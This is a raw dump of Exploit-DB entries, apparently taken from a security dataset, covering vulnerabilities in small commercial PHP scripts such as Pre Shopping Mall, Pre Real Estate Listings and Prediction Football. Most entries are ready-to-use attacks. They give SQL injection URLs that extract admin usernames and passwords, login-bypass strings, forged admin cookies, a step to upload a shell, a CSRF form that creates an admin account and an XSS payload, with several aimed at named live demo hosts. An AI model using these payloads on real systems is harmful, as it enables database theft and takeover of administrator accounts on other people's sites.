deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18616
Description: Pre Printing Press - 'product_desc.php?pid' SQL Injection
Type: webapps
Platform: php
Date: 2012-03-18
Author: Easy Laster

Exploit:
========================================================================================
| # Title    : Pre Printing Press product_desc.php (pid) SQL Injection Vulnerability
| # Author   : Easy Laster
| # Script   : Pre Printing Press
| # Price    : $999
| # Exploitation : remote
| # Bug      : SQL Injection
| # Date     : 18.03.2012
| # Language : PHP
| # Status   : vulnerable
| # Greetings: secunet.to ,4004-security-project, Team-Internet, HANN!BAL, RBK, Dr.Ogen, ezah
======================        Proof of Concept         =================================


  [+] Introduction
  
   A complete printing press website script contains all features required for online printing
   business. Developed in PHP, MYSQL and Flash AS3, with all browsers compatibility and easy 
   to navigate. Package contains builtin designers to customize designs online, shopping cart 
   and complete users and orders modules.Product is user friedly and can fully operate via 
   secure admin panel.Script is fully customizable and ready to upload to start your printing 
   press now.

  [+] Vulnerability

    http://[host]/[path]/prestudio/product_desc.php?pid=[vul]
  
  [+] Injectable

    http://[host]/[path]/prestudio/product_desc.php?pid=1
    +union+select+1,1,1,1,1,1,1,1,1,1,1,1,1,1--+&cid=&sid=

  [+] Fix
  
    No fix.
Exploit-DB #18614
Description: PRE PRINTING STUDIO - SQL Injection
Type: webapps
Platform: php
Date: 2012-03-17
Author: r45c4l

Exploit:
# Exploit Title:   PRE PRINTING STUDIO Sql Injection
# Date: 16/03/2012
# Author: r45c4l
# Email: infosecpirate@gmail.com
# Script url: http://www.preprojects.com/preprojects/printing.asp 
# Version: N/A
# CVE : ()

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Product Description : 

A complete printing press website script contains all features required for online printing business. Developed in PHP, MYSQL and Flash AS3, with all browsers compatibility and easy to navigate. Package contains builtin designers to customize designs online, shopping cart and complete users and orders modules.Product is user friedly and can fully operate via secure admin panel.Script is fully customizable and ready to upload to start your printing press now.


Product Cost : 999$ 



=================Exploit=================================================
                                    ---ICW---
 [ EXPL0!T ]

 SQL Injection
 p0c - http://SERVER/prestudio/page.php?id=[SQli] 


 d0rk - use your brain ;) 


 Some intresting tables and columns: 

 Table : admin 		Columns : password, username, id 

 Table : users		columns : email, id

===========================================================================
Greetz to : Beenu Arora, Godwin Austin, Eberly, b0nd, the_empty_, micr0, Hoody, sam
            All members of ICW, AH and G4H, and all Indian Hackers


                    
Special Greetz to :  b4ltazar and s1nn3r
			

									=== End () ====
Exploit-DB #6465
Description: Pre Real Estate Listings - 'search.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-15
Author: JosS

Exploit:
# Pre Real Estate Listings (search.php c) Remote SQL Injection Vulnerability
# url: http://preproject.com/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: All Hackers and milw0rm website


(SQL-way): http://www.localhost/search.php?c=(135['foo])

PoC: 135'+union+all+select+1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,concat(user(),char(32,35),database(),char(32,35),version()),1/*

live demo: 

http://preproject.com/ulisting/search.php?c=135'+union+all+select+1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,concat(user(),char(32,35),database(),char(32,35),version()),1/*

- In memory of rgod -

# milw0rm.com [2008-09-15]
Exploit-DB #7094
Description: Pre Real Estate Listings - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-11-11
Author: BackDoor

Exploit:
Pre Real Estate Listings (login.php) ByPass /File Upload
Script:Pre Real Estate Listings
HomePage:http://preproject.com/
Demo:http://preproject.com/ulisting/
Author:BackDoor
By Pass Exploit:
http://victim.com/scriptpath/login.php username:'or' password:'or'
Live Demo:
http://preproject.com/ulisting/login.php
File Upload Exploit:
login live demo username:'or' password:'or'
Edit Your Profile Link:http://preproject.com/ulisting/profile.php
Upload Your Shell:
Example:
http://preproject.com/ulisting/re_images/[PII_REDACTED]_logo_wp.php
 
Cyber-Security TIM //Lojistik

# milw0rm.com [2008-11-11]
Exploit-DB #6998
Description: Pre Shopping Mall - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-11-05
Author: G4N0K

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                              IN THE NAME OF ALLAH
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
PRE SHOPPING MALL Insecure Cookie Handling
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[~] Script:         	PRE SHOPPING MALL
[~] Language :         	PHP
[~] Website[main]:     	http://www.preproject.com
[~] Website[script]:    http://www.preproject.com/emall.asp
[~] Type :             	Commercial
[~] Report-Date :     	05/11/2008
[~] Founder :			G4N0K <mail.ganok[at]gmail.com>

===============================================================================

===[ Insecure Cookie Handling ]===
Admin Panel: http://localhost/[path]/admin/
[0] javascript:document.cookie = "adminname=admin";
[1] javascript:document.cookie = "adminid=admin";



===[ LIVE ]===
Admin Panel: http://preproject.com/emall/admin/loginform.php
[0] javascript:document.cookie = "adminname=admin";
[1] javascript:document.cookie = "adminid=admin";





===[ Greetz ]===
[~] ALLAH
[~] Tornado2800 <Tornado2800[at]gmail.com>
[~] Hussain-X <darkangel_g85[at]yahoo.com>

//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
//ALLAH,forgimme...

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
exit(); //EoX
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2008-11-05]
Exploit-DB #3842
Description: Pre Shopping Mall 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2007-05-03
Author: Mehmet Ince

Exploit:
==============================================

Pre Shopping Mall v1.0 Remote SQL Injection

==============================================

Found: Cyber-Security.org

==============================================

Exploit:
detail.php?prodid=-1/**/union/**/select/**/0,1,2,password,4,5,6,7,8,9,10,11,12,13,14,15,16/**/from/**/admin/*

==============================================

Example: http://preproject.com/emall/

==============================================

# milw0rm.com [2007-05-03]
Exploit-DB #5551
Description: Pre Shopping Mall 1.1 - 'search.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-06
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		    Pre Shopping Mall 1.1 SQL Injection Vulnerablity	             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 
Script Download: http://preproject.com
DORK: N/A



Vendor Has Not Been Notified!



DESCRIPTION: 
Pre Shopping Mall suffers from multiple remote sql injection bugs.
this allows the remote attacker to pull admin credentials from the database, since the admin details are in plaintext
this makes it easy for the attacker to gain access to the administarion panel.



SQL Injection:
ADMIN: http://site.com/emall/search.php?search='/**/and/**/1=2/**/UNION/**/ALL/**/SELECT/**/1,2,3,CONCAT(login,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16/**/FROM/**/admin/*



NOTE/TIP: 
admin login is at /admin/
injection is multi-row, so it will pull all rows from a table.


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+		    Pre Shopping Mall 1.1 SQL Injection Vulnerablity	             +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-06]
Exploit-DB #7004
Description: Pre Simple CMS - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-05
Author: Hussin X

Exploit:
 Pre Simple CMS (Auth Bypass) SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

MaiL : darkangeL_G85@Yahoo.CoM
___________________________________

script    : http://www.preproject.com/projectDetail.asp?projectID=240

_____

ExploiT
_______

http://www.uaebis.com/cms/siteadmin/adminlogin.php

exploit > Bypass
______________

user : admin ' or ' 1=1
pass: hussin-X





Greetz : All my freind


  Im IraQi        |         Im TrYaGi

# milw0rm.com [2008-11-05]
Exploit-DB #14377
Description: Pre SoftClones Marketing Management System - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-07-16
Author: D4rk357

Exploit:
#################################################################
# Exploit Title:  SoftClones Marketing Management System authentication bypass

# Date: 16th july 2010

# Author: D4rk357

#Critical:high

#contact:d4rk357[at]yahoo[dot]in

Price : 300$

# Software Link:http://preproject.com/freelance.asp
 
Greetz to :b0nd, Fbih2s,Beenu,rockey killer,The empty(), punter,eberly,prashant

Shoutz to : http://www.garage4hackers.com/forum.php , h4ck3r.in and  all ICW members
 
##############################################################################
Exploit : On login page put admin and usename and ' or '1'='1 as password . 
you will be logged into the system

 ##################################################################################
 #D4rk357
Exploit-DB #13779
Description: Pre Web Host - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-08
Author: Mr.Benladen

Exploit:
# EDB-ID: 1310
# CVE: ()
# OSVDB-ID: ()
# Author: Mr.Benladen
# Published: 2010-06-07
# Verified: No
# Download: Exploit Code
# Download: N/A

[~]######################################### InformatioN
#############################################[~]

[~] Title     : Pre Web Host sql inj3ction Vulnerability
[~] Author    : Mr.Benladen
[~] Homepage  : http://www.joomlaservice.info Or http://www.dz4all.com
[~] Vendor    : http://www.hostfriendz.com/detail.php?spid=54
[~]           : 30$
[~] Email     : MaFiadu48@hotmail.fr
[~] Dork      : allinurl: In YoUr Dream


[~]#########################################??? ExploiT??
#############################################[~]

[~] For Exemple :

SQL iS hERE http://127.0.0.1/celeron.php?q=4sQL


http://127.0.0.1/celeron.php?q=-4+union+select+1,2,concat(username,0x3e,pass)+from+admin--


demo:
http://[site]/celeron.php?q=-4+union+select+1,2,concat%28username,0x3e,pass%29+from+admin--

[~]#########################################  ThankS To
############################################[~]

[~] Special Thanks To My Best FriendS :

Federal7 khallidmoro,dr.prorat,blackroot,Ra3ch,Zioon From ukarnia- and  all
Morocan hackerz

Big Gr33tz to anti tr4ck3r from www.sec-royal.com

[~] Morocan h4ckerz

[~]#########################################  FinisH :D
##############################
Exploit-DB #14374
Description: Pre Web Host System - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-07-16
Author: D4rk357

Exploit:
#################################################################
# Exploit Title: Pre webhost System authentication bypass

# Date: 16th july 2010

# Author: D4rk357

#Critical:high

#contact:d4rk357[at]yahoo[dot]in

Price : 150$

# Software Link:http://preproject.com/preweb.asp
 
Greetz to :b0nd, Fbih2s,Beenu,rockey killer,The empty(), punter,eberly,prashant

Shoutz to : http://www.garage4hackers.com/forum.php , h4ck3r.in and  all ICW members
 
##############################################################################
Exploit : On login page put admin and usename and ' or '1'='1 as password . 
you will be logged into the system

 ##################################################################################
 #D4rk357
Exploit-DB #34430
Description: Preation Eden Platform 27.7.2010 - Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2010-08-09
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/42321/info

Preation Eden Platform is prone to multiple HTML-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Preation Eden Platform 27.07.2010 is vulnerable; prior versions may also be affected. 

<script>alert(document.cookie)</script>
Exploit-DB #6096
Description: preCMS 1 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-17
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL injection Vulnerability
##
## preCMS v.1 ( index.php page )
##                            
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.AtsDp.CoM/f
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploite :]]-
##
## www.Target.com/index.php?page=UserProfil&id=-1'+union+select+1,2,concat_ws(0x3a3a,admin,nick,password),4,@@version+from+pre_user/*
##
########################
########################
 -[[ NOTE ]]-
1 ) Download script :  http://www.precoc.com/cms/preedit/file/0axee0401vk.rar
 
#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: milw0rm :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-07-17]
Exploit-DB #5410
Description: Prediction Football 1.x - 'matchid' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-08
Author: 0in

Exploit:
/*

                                       Prediction Football v 1.x Remote SQL INJECTION

Discovered by 0in from Dark-Coders Programming & Security Group.

!!!!!! > http://dark-coders.4rh.eu < !!!!!!

Contact: 0in(dot)email(at)gmail(dot)com

Greetz to all Dark-Coders Group Members: Die_Angel, Sun8hclf, M4r1usz, Djlinux, Aristo89

Script homepage: http://www.predictionfootball.com/

Description:  Prediction Football is a program that provides a web based administration 
config and automated prediction leagues. This program supports multiple languages. This 
script makes predictions simultaneously. This helps you to message other users and capable 
of multiple fixture creation. This requires web server with support for PHP4.0 or greater, 
MySQL database. Very easy to download and install the program and execute.

*/

Exploit:

http://target.domain/[path]/showpredictionsformatch.php?sid=dupa&matchid=-666/**/union/**/select/**/1,2,3,concat(0x757365723a,username),concat(0x[PII_REDACTED]643a,password),6,7/**/from/**/pluserdata/**/WHERE/**/userid=1/*  

userid=1 - admin user have that userid, you can change that to another user.

//EoFF

# milw0rm.com [2008-04-08]
Exploit-DB #17666
Description: Prediction Football 2.51 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2011-08-14
Author: Smith Falcon

Exploit:
# Exploit Title: [title]
# Google Dork: [if relevant]  intext:"Prediction football 2.51"
# Date: 08/08/2011
# Author: Smith Falcon
# Software Link: http://www.predictionfootball.com/download/download.html
# Version: 2.51
# Tested on: Linux

First create a username and go to Account Profile

The POST variable in index.php?cmd=changepass is vulnerable to CSRF

Grab Header Information with HTTP Live headers and replay the POST VARIABLE

&OLD[CREDENTIAL_REDACTED]=[id of user u want pwd
changed]&PWD1=[newpass]&PWD2=[newpass]&Change[CREDENTIAL_REDACTED]+Password

REPLAY with new password of the userid and logout!
Now you can login with that desired user and password!
Exploit-DB #12043
Description: Prediction League 0.3.8 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2010-04-04
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Prediction League 0.3.8 CSRF Create Admin User Exploit            
| # Author   : indoushka                                                                                                              
| # Home     : www.iqs3cur1ty.com/vb                                                                                                                                                                                                             
| # Tested on: Lunix Français v.(9.4 Ubuntu)       
| # Bug      : CSRF Create Admin User Exploit                                                                     
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
  <form method="POST" action="http://127.0.0.1/PredictionLeague/CreateAdminUser.php">
    <table>
      <tr>
        <td class="TBLHEAD" colspan="3" align="CENTER">
          <font class="TBLHEAD">
            Admin User Administration
          </font>
        </td>
      </tr>
      <tr>
        <td class="TBLROW">
          <font class="TBLROW">
            Admin User Name
          </font>
        </td>
        <td class="TBLROW">
          <font class="TBLROW">
            <input type="TEXT" size="20" name="USER" value="">
          </font>
        </td>
        <td class="TBLROW">
          <font class="TBLROW">
            The name for the admin user.
          </font>
        </td>
      </tr> 
      <tr>
        <td class="TBLROW">
          <font class="TBLROW">
            Password
          </font>
        </td>
        <td class="TBLROW">
          <font class="TBLROW">
            <input type="TEXT" size="20" name="PASSWORD">
          </font>
        </td>
        <td class="TBLROW">
          <font class="TBLROW">
            The password for the admin user.
          </font>
        </td>
      </tr> 
      <tr>
        <td colspan="3" class="TBLROW" align="CENTER">
          <input type="SUBMIT" NAME="CREATE" VALUE="CREATE">
        </td>
      </tr>
    </table>
  </form>
<?php
  }
?>

  </body>
</html>

                  
2 - Save As .html

3 - Login                 
 
Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.m-y.cc * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
--------------------------------------------------------------------------------------------------------------
Exploit-DB #11761
Description: Preisschlacht 4.0 Flash System - 'index.php?aid' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-15
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : Preisschlacht V4 Flash System SQL Injection (seite&aid) index.php
+Autor : Easy Laster
+Date   : 15.03.2010
+Script  : Preisschlacht V4 Flash System
+Price : € 149.90
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/forum/index.php?seite=17&aid=

+Exploitable   : http://www.site.com/forum/index.php?seite=17&aid=111111111+union+select
+1,2,concat(ID,0x3a,Benutzer,0x3a,passwort),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
,21,22,23+from+ls_kunden+where+id=1

-----------------------------------------------------------------------------------------